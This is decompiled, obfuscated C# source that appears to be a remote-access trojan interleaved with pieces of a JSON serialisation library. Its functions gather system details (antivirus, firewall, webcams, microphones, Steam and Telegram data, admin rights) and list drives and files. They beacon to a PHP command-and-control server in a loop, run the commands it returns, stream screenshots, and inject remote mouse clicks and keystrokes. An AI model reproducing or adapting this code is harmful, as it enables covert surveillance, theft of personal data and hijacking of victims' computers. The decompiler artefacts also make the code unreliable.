internal void _0001() { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 ManageFilter("sysinfo", new DecoratorReaderMapper { ["GPUName"] = ParserFilterResolver._0001(GlobalIssuerImporter.SelectList()), ["CPUName"] = ParserFilterResolver._0001(GlobalIssuerImporter.StartList()), ["BIOS"] = ParserFilterResolver._0001(GlobalIssuerImporter.CalculateList()), ["LANIP"] = ParserFilterResolver._0001(GlobalIssuerImporter.DeleteList()), ["Antivirus"] = ParserFilterResolver._0001(GlobalIssuerImporter.PostList()), ["Firewall"] = ParserFilterResolver._0001(GlobalIssuerImporter.ChangeList()), ["Motherboard"] = ParserFilterResolver._0001(GlobalIssuerImporter.GetList()), ["RAM"] = ParserFilterResolver._0001(GlobalIssuerImporter.ListList()), ["Webcams"] = ParserFilterResolver._0001(DatabaseTestItem.AwakeEvent()), ["Screens"] = ParserFilterResolver._0001(DatabaseTestItem.UpdateEvent()), ["Microphones"] = ParserFilterResolver._0001(DatabaseTestItem.ReadEvent()), ["SteamPath"] = ParserFilterResolver._0001(DatabaseTestItem.ResetEvent()), ["SteamLang"] = ParserFilterResolver._0001(DatabaseTestItem.ReflectEvent()), ["SteamUser"] = ParserFilterResolver._0001(DatabaseTestItem.CalcEvent()), ["SteamUserID"] = ParserFilterResolver._0001(DatabaseTestItem.InstantiateEvent()), ["TelegramPath"] = ParserFilterResolver._0001(DatabaseTestItem.InterruptEvent()), ["FrameworkVersion"] = ParserFilterResolver._0001(GlobalIssuerImporter.RateList()), ["Path"] = ParserFilterResolver._0001(Path.GetDirectoryName(MappingListAnnotation.m_PolicyEvent)) }.SetClass((TimeState)0, new BroadcasterError[0]), this._0001, _0002); }
public override bool _0001() { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 if (base._0001() != 0) { if (_RulesIssuer == null) { return(false); } ConfigurationIssuer configurationIssuer = _RulesIssuer as ConfigurationIssuer; if (configurationIssuer != null && advisorIssuer != configurationIssuer) { return(PushRequest(configurationIssuer)); } return(NewRequest(_RulesIssuer)); } if (_RulesIssuer == m_SetterIssuer) { return(false); } _RulesIssuer = m_SetterIssuer; AwakeRequest(_RulesIssuer); return(true); }
public static string FindRecord(string item) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 DirectoryInfo directoryInfo = new DirectoryInfo(item); FileInfo[] files = directoryInfo.GetFiles(); DirectoryInfo[] directories = directoryInfo.GetDirectories(); InstanceClassDispatcher instanceClassDispatcher = new InstanceClassDispatcher(); for (int i = 0; i < directories.Length; i++) { DecoratorReaderMapper decoratorReaderMapper = new DecoratorReaderMapper(); decoratorReaderMapper["T"] = ParserFilterResolver._0001("Folder"); decoratorReaderMapper["N"] = ParserFilterResolver._0001(directories[i].Name); decoratorReaderMapper["S"] = ParserFilterResolver._0001(""); decoratorReaderMapper["M"] = ParserFilterResolver._0001(directories[i].LastWriteTimeUtc.ToString("dd.MM.yyyy HH:mm")); instanceClassDispatcher.Add(decoratorReaderMapper); } for (int j = 0; j < files.Length; j++) { DecoratorReaderMapper decoratorReaderMapper2 = new DecoratorReaderMapper(); decoratorReaderMapper2["T"] = ParserFilterResolver._0001("File"); decoratorReaderMapper2["N"] = ParserFilterResolver._0001(files[j].Name); decoratorReaderMapper2["S"] = ParserFilterResolver._0001(ReponseClassSpec.DisableList(files[j].Length)); decoratorReaderMapper2["M"] = ParserFilterResolver._0001(files[j].LastWriteTimeUtc.ToString("dd.MM.yyyy HH:mm")); instanceClassDispatcher.Add(decoratorReaderMapper2); } return(instanceClassDispatcher.SetClass((TimeState)0, new BroadcasterError[0])); }
public static string ValidateRecord() { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 DriveInfo[] drives = DriveInfo.GetDrives(); InstanceClassDispatcher instanceClassDispatcher = new InstanceClassDispatcher(); DriveInfo[] array = drives; foreach (DriveInfo driveInfo in array) { if (driveInfo.IsReady) { DecoratorReaderMapper decoratorReaderMapper = new DecoratorReaderMapper(); decoratorReaderMapper["T"] = ParserFilterResolver._0001("Drive"); decoratorReaderMapper["N"] = ParserFilterResolver._0001(driveInfo.Name.Remove(2, 1)); decoratorReaderMapper["S"] = ParserFilterResolver._0001(ReponseClassSpec.DisableList(driveInfo.TotalSize)); decoratorReaderMapper["M"] = ParserFilterResolver._0001(""); instanceClassDispatcher.Add(decoratorReaderMapper); } else { DecoratorReaderMapper decoratorReaderMapper2 = new DecoratorReaderMapper(); decoratorReaderMapper2["T"] = ParserFilterResolver._0001("Drive"); decoratorReaderMapper2["N"] = ParserFilterResolver._0001(driveInfo.Name.Remove(2, 1)); decoratorReaderMapper2["S"] = ParserFilterResolver._0001(""); decoratorReaderMapper2["M"] = ParserFilterResolver._0001(""); instanceClassDispatcher.Add(decoratorReaderMapper2); } } return(instanceClassDispatcher.SetClass((TimeState)0, new BroadcasterError[0])); }
private bool ForgotRequest() { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 _RulesIssuer = null; CustomizeError(WatcherComposer.None); return(false); }
public DatabaseDicCandidate(ParserFilterResolver spec) { //Discarded unreachable code: IL_0002, IL_0006 //IL_0003: Incompatible stack heights: 0 vs 1 //IL_0007: Incompatible stack heights: 0 vs 1 SingletonReader.PushGlobal(); base._002Ector(); ContextClientBridge.RunClient(spec, "token"); m_SetterIssuer = spec; }
internal override int _0001(ParserFilterResolver init) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 if (init == null) { return(-1); } return(collectionIssuer._0001(init)); }
internal override int _0001(ParserFilterResolver param) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 if (param == null) { return(-1); } return(m_DescriptorIssuer.SortTest(param)); }
private void InterruptRequest() { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 utilsIssuer = m_ParamIssuer; m_ParamIssuer = ((ParserFilterResolver)m_ParamIssuer)._0001(); if (m_ParamIssuer != null && ((ParserFilterResolver)m_ParamIssuer)._0001() == Newtonsoft.Rules.UnicodeCategory.Property) { m_ParamIssuer = ((ParserFilterResolver)m_ParamIssuer)._0001(); } }
public override void _0001(object reference, object ivk) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 DecoratorReaderMapper decoratorReaderMapper = reference as DecoratorReaderMapper; if (decoratorReaderMapper != null) { ParserFilterResolver map = (ivk as ParserFilterResolver) ?? new PoolIssuer(ivk); decoratorReaderMapper[Name] = map; } }
internal override void _0001(int def, ParserFilterResolver attr, bool isconsumer) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 if (attr == null || attr._0001() != Newtonsoft.Rules.UnicodeCategory.Comment) { if (_0004() != null) { throw new ListenerTestItem("{0} cannot have multiple values.".ListReader(CultureInfo.InvariantCulture, typeof(WatcherIssuer))); } base._0001(0, attr, stripcomp: false); } }
public object _0001(object first, Type second) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 ContextClientBridge.RunClient(first, "value"); ParserFilterResolver parserFilterResolver = first as ParserFilterResolver; if (parserFilterResolver == null) { throw new ArgumentException("Value is not a JToken.", "value"); } return(m_CustomerProperty.InterruptBroadcaster(parserFilterResolver, second, interpreterProperty, watcherProperty)); }
private bool PushRequest(ConfigurationIssuer first) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 ParserFilterResolver parserFilterResolver = first._0002(); if (parserFilterResolver == null) { return(PrepareRequest(first)); } AwakeRequest(parserFilterResolver); _RulesIssuer = parserFilterResolver; advisorIssuer = first; return(true); }
internal override void _0001(int endvalue, ParserFilterResolver pol) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 if (endvalue != 0) { throw new ArgumentOutOfRangeException(); } if (!ConfigurationIssuer.ExcludeClass(_0004(), pol)) { ((DecoratorReaderMapper)base._0001())?.LoginRequest(this); base._0001(0, pol); ((DecoratorReaderMapper)base._0001())?.RevertClass(this); } }
private void ReadRequest(ConfigurationIssuer last) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 if (m_ParamIssuer == null) { _ContextIssuer = last; } else { m_ParamIssuer.SetupClass(last); } m_ParamIssuer = last; utilsIssuer = last; }
private bool PrepareRequest(ConfigurationIssuer first) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 WatcherComposer?watcherComposer = IncludeRequest(first); if (watcherComposer.HasValue) { CustomizeError(watcherComposer.GetValueOrDefault()); _RulesIssuer = first; advisorIssuer = first; return(true); } return(NewRequest(first)); }
public override void _0001(RecordClassDispatcher v, BroadcasterError[] counter) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 v._0002(m_RepositoryIssuer); ParserFilterResolver parserFilterResolver = _0004(); if (parserFilterResolver != null) { parserFilterResolver._0001(v, counter); } else { v._0008(); } }
public void _0003(ParserFilterResolver param) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 CustomizeClass(); ParserFilterResolver cust = param ?? PoolIssuer.VisitRequest(); if (collectionIssuer.m_ServerIssuer == null) { _0001(0, cust, isconsumer: false); } else { _0001(0, cust); } }
public static void CallFilter(string asset, string selection) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 new Thread((ThreadStart) delegate { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 SortFilter(asset, selection); DecoratorReaderMapper decoratorReaderMapper = new DecoratorReaderMapper { ["ServerType"] = ParserFilterResolver._0001("C#"), ["ServerVer"] = ParserFilterResolver._0001(MappingListAnnotation._RegistryEvent), ["isMicrophone"] = ParserFilterResolver._0001((DecoratorList._0001() > 0) ? "Y" : "N"), ["isWebcam"] = ParserFilterResolver._0001((new AccountInstanceExpression(WrapperIssuerImporter.serializerEvent).Count > 0) ? "Y" : "N"), ["isAdmin"] = ParserFilterResolver._0001(GlobalIssuerImporter.DestroyList() ? "Y" : "N"), ["WinVer"] = ParserFilterResolver._0001(ObserverEvent.VerifyList()), ["ACTWindow"] = ParserFilterResolver._0001(Publisher.InitEvent()), ["PCName"] = ParserFilterResolver._0001(GlobalIssuerImporter.SetList()), ["UserName"] = ParserFilterResolver._0001(GlobalIssuerImporter.RemoveList()), ["TAG"] = ParserFilterResolver._0001(DecoratorReaderMapper.PatchRequest(MappingListAnnotation.m_ServiceEvent)["TAG"].ResetClass <string>()), ["IpInfo"] = DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList("https://ipinfo.io/json")) }; while (true) { try { decoratorReaderMapper["ACTWindow"] = ParserFilterResolver._0001(Publisher.InitEvent()); string text = ClassEvent.SearchFilter(DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(asset + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(asset)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(selection))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "getdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "getdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("command" + MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "setdata") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(decoratorReaderMapper.SetClass((TimeState)0, new BroadcasterError[0])))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("usermaindata" + asset))))))["response"].ResetClass <string>()); if (text.Length > 1) { DecoratorReaderMapper decoratorReaderMapper2 = DecoratorReaderMapper.PatchRequest(text); if (decoratorReaderMapper2.get_Count() > 0) { DecoratorEventEntry.PatchRecord(decoratorReaderMapper2["Command"].ResetClass <string>(), decoratorReaderMapper2["Data"].ResetClass <string>(), asset, selection); } } Thread.Sleep(1000); } catch { Thread.Sleep(10000); } } }).Start(); }
internal void InstantiateRequest(PoolIssuer first, WatcherComposer col) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 if (m_ParamIssuer != null) { m_ParamIssuer.Add(first); utilsIssuer = ((ParserFilterResolver)m_ParamIssuer)._0003(); if (((ParserFilterResolver)m_ParamIssuer)._0001() == Newtonsoft.Rules.UnicodeCategory.Property) { m_ParamIssuer = ((ParserFilterResolver)m_ParamIssuer)._0001(); } } else { _PublisherIssuer = (first ?? PoolIssuer.VisitRequest()); utilsIssuer = _PublisherIssuer; } }
internal override void _0001(TagTestItem asset, bool excludepol, bool containstag, bool extractident2) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 DatabaseDicCandidate databaseDicCandidate = asset as DatabaseDicCandidate; if (databaseDicCandidate != null && excludepol && containstag && extractident2) { if (((TagTestItem)databaseDicCandidate)._0001() == WatcherComposer.None && !((TagTestItem)databaseDicCandidate)._0001()) { return; } ParserFilterResolver parserFilterResolver = databaseDicCandidate._0001()._0001(); if (m_ParamIssuer != null) { m_ParamIssuer.Add(parserFilterResolver); utilsIssuer = ((ParserFilterResolver)m_ParamIssuer)._0003(); if (((ParserFilterResolver)m_ParamIssuer)._0001() == Newtonsoft.Rules.UnicodeCategory.Property) { m_ParamIssuer = ((ParserFilterResolver)m_ParamIssuer)._0001(); GetTest(WatcherComposer.Null); } } else { utilsIssuer = parserFilterResolver; if (_ContextIssuer == null && _PublisherIssuer == null) { _ContextIssuer = (parserFilterResolver as ConfigurationIssuer); _PublisherIssuer = (parserFilterResolver as PoolIssuer); } } databaseDicCandidate.AssetError(); } else { base._0001(asset, excludepol, containstag, extractident2); } }
private bool NewRequest(ParserFilterResolver key) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 if (key == m_SetterIssuer) { return(ForgotRequest()); } ParserFilterResolver parserFilterResolver = key._0006(); if (parserFilterResolver == null || parserFilterResolver == key || key == ((ParserFilterResolver)key._0001())._0003()) { if (key._0001() == null) { return(ForgotRequest()); } return(PrepareRequest(key._0001())); } _RulesIssuer = parserFilterResolver; AwakeRequest(_RulesIssuer); return(true); }
internal override bool _0001(ParserFilterResolver item) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 throw new ListenerTestItem("Cannot add or remove items from {0}.".ListReader(CultureInfo.InvariantCulture, typeof(WatcherIssuer))); }
internal override bool _0002(ParserFilterResolver spec) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 return(_0004() == spec); }
public static void ComputeEvent(string var1, int length_cont, bool wantrule, bool isvalue2, string ident3, string pol4) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 if (m_System == null) { Screen screen = Screen.PrimaryScreen; try { Screen[] allScreens = Screen.AllScreens; foreach (Screen screen2 in allScreens) { if (var1 == screen2.DeviceName) { screen = screen2; break; } } } catch { } DecoratorReaderMapper decoratorReaderMapper = new DecoratorReaderMapper(); decoratorReaderMapper["w"] = ParserFilterResolver._0001(screen.Bounds.Width); decoratorReaderMapper["h"] = ParserFilterResolver._0001(screen.Bounds.Height); DispatcherInstanceExpression.ExcludeFilter("rdscreensize", decoratorReaderMapper.SetClass((TimeState)0, new BroadcasterError[0]), ident3, pol4); m_System = new Thread((ThreadStart) delegate { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 while (!identifier) { DispatcherInstanceExpression.CustomizeFilter(ValClientBridge.PrepareList(ValClientBridge.PushList(ValClientBridge.IncludeList(screen), screen.Bounds.Width / length_cont, screen.Bounds.Height / length_cont)), "rdscreen", ident3, pol4); Thread.Sleep(100); } identifier = false; }); m_System.Start(); if (wantrule || isvalue2) { new Thread((ThreadStart) delegate { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 while (!identifier) { string[] array = ClassEvent.SearchFilter(DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(ident3 + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(ident3)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(pol4))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "getdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "getdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("rdbuffer" + MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "setdata") + "=%00&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("rdbuffer" + MappingListAnnotation._ProxyEvent))))))["response"].ResetClass <string>()).Split(new string[1] { "~*" }, StringSplitOptions.None); string[] array2 = array; foreach (string text in array2) { if (text.Length >= 1) { if (text.Contains("@~")) { string[] array3 = text.Split(new string[1] { "@~" }, StringSplitOptions.None); switch (array3[0]) { case "M": Publisher.MapFilter(Convert.ToInt32(array3[1].Split(',')[0]) + screen.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + screen.Bounds.Y); break; case "RD": Publisher.InsertFilter(8u, Convert.ToInt32(array3[1].Split(',')[0]) + screen.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + screen.Bounds.Y, 0, UIntPtr.Zero); break; case "RU": Publisher.InsertFilter(16u, Convert.ToInt32(array3[1].Split(',')[0]) + screen.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + screen.Bounds.Y, 0, UIntPtr.Zero); break; case "LD": Publisher.InsertFilter(2u, Convert.ToInt32(array3[1].Split(',')[0]) + screen.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + screen.Bounds.Y, 0, UIntPtr.Zero); break; case "LU": Publisher.InsertFilter(4u, Convert.ToInt32(array3[1].Split(',')[0]) + screen.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + screen.Bounds.Y, 0, UIntPtr.Zero); break; } } else { SendKeys.SendWait(text); } Thread.Sleep(10); } } Thread.Sleep(100); } }).Start(); } } }
private DateTime _0001(IFormatProvider setup) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 return(ParserFilterResolver._0001((ParserFilterResolver)this)); }
public override object _0001(TagTestItem ident, Type b, object field, PrototypeError config2) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 if (ident._0001() == WatcherComposer.Null) { return(null); } FactoryDicCandidate factoryDicCandidate = null; string text = null; InstanceClassDispatcher instanceClassDispatcher = null; ident.SortError(); while (ident._0001() == WatcherComposer.PropertyName) { string text2 = ident._0001().ToString(); if (string.Equals(text2, "Case", StringComparison.OrdinalIgnoreCase)) { ident.SortError(); UtilsClientBridge utilsClientBridge = m_ParameterIssuer.InitReader(b); text = ident._0001().ToString(); factoryDicCandidate = utilsClientBridge.m_StatusIssuer.SingleOrDefault((FactoryDicCandidate P_0) => P_0._HelperIssuer == text); if (factoryDicCandidate == null) { throw StrategyError.PatchComposer(ident, "No union type found with the name '{0}'.".ListReader(CultureInfo.InvariantCulture, text)); } } else { if (!string.Equals(text2, "Fields", StringComparison.OrdinalIgnoreCase)) { throw StrategyError.PatchComposer(ident, "Unexpected property '{0}' found when reading union.".ListReader(CultureInfo.InvariantCulture, text2)); } ident.SortError(); if (ident._0001() != WatcherComposer.StartArray) { throw StrategyError.PatchComposer(ident, "Union fields must been an array."); } instanceClassDispatcher = (InstanceClassDispatcher)ParserFilterResolver.SelectClass(ident); } ident.SortError(); } if (factoryDicCandidate == null) { throw StrategyError.PatchComposer(ident, "No '{0}' property with union name found.".ListReader(CultureInfo.InvariantCulture, "Case")); } object[] array = new object[factoryDicCandidate.exceptionIssuer.Length]; if (factoryDicCandidate.exceptionIssuer.Length != 0 && instanceClassDispatcher == null) { throw StrategyError.PatchComposer(ident, "No '{0}' property with union fields found.".ListReader(CultureInfo.InvariantCulture, "Fields")); } if (instanceClassDispatcher != null) { if (factoryDicCandidate.exceptionIssuer.Length != instanceClassDispatcher.get_Count()) { throw StrategyError.PatchComposer(ident, "The number of field values does not match the number of properties defined by union '{0}'.".ListReader(CultureInfo.InvariantCulture, text)); } for (int i = 0; i < instanceClassDispatcher.get_Count(); i++) { ParserFilterResolver parserFilterResolver = instanceClassDispatcher[i]; PropertyInfo propertyInfo = factoryDicCandidate.exceptionIssuer[i]; array[i] = parserFilterResolver.ListClass(propertyInfo.PropertyType, config2); } } object[] task = new object[1] { array }; return(factoryDicCandidate.m_DatabaseIssuer.ConnectIssuer(task)); }
private void AwakeRequest(ParserFilterResolver item) { //Discarded unreachable code: IL_0002 //IL_0003: Incompatible stack heights: 0 vs 1 switch (item._0001()) { case UnicodeCategory.Object: CustomizeError(WatcherComposer.StartObject); break; case UnicodeCategory.Array: CustomizeError(WatcherComposer.StartArray); break; case UnicodeCategory.Constructor: QueryError(WatcherComposer.StartConstructor, ((IndexerReaderMapper)item)._0001()); break; case UnicodeCategory.Property: QueryError(WatcherComposer.PropertyName, ((WatcherIssuer)item)._0001()); break; case UnicodeCategory.Comment: QueryError(WatcherComposer.Comment, ((PoolIssuer)item)._0001()); break; case UnicodeCategory.Integer: QueryError(WatcherComposer.Integer, ((PoolIssuer)item)._0001()); break; case UnicodeCategory.Float: QueryError(WatcherComposer.Float, ((PoolIssuer)item)._0001()); break; case UnicodeCategory.String: QueryError(WatcherComposer.String, ((PoolIssuer)item)._0001()); break; case UnicodeCategory.Boolean: QueryError(WatcherComposer.Boolean, ((PoolIssuer)item)._0001()); break; case UnicodeCategory.Null: QueryError(WatcherComposer.Null, ((PoolIssuer)item)._0001()); break; case UnicodeCategory.Undefined: QueryError(WatcherComposer.Undefined, ((PoolIssuer)item)._0001()); break; case UnicodeCategory.Date: { object obj2 = ((PoolIssuer)item)._0001(); if (obj2 is DateTime) { DateTime param = (DateTime)obj2; obj2 = DescriptorIteratorMapping.ReadProperty(param, base._0001()); } QueryError(WatcherComposer.Date, obj2); break; } case UnicodeCategory.Raw: QueryError(WatcherComposer.Raw, ((PoolIssuer)item)._0001()); break; case UnicodeCategory.Bytes: QueryError(WatcherComposer.Bytes, ((PoolIssuer)item)._0001()); break; case UnicodeCategory.Guid: QueryError(WatcherComposer.String, UpdateRequest(((PoolIssuer)item)._0001())); break; case UnicodeCategory.Uri: { object obj = ((PoolIssuer)item)._0001(); Uri uri = obj as Uri; QueryError(WatcherComposer.String, ((object)uri != null) ? uri.OriginalString : UpdateRequest(obj)); break; } case UnicodeCategory.TimeSpan: QueryError(WatcherComposer.String, UpdateRequest(((PoolIssuer)item)._0001())); break; default: throw CustomerListAnnotation.ConcatIssuer("Type", item._0001(), "Unexpected JTokenType."); } }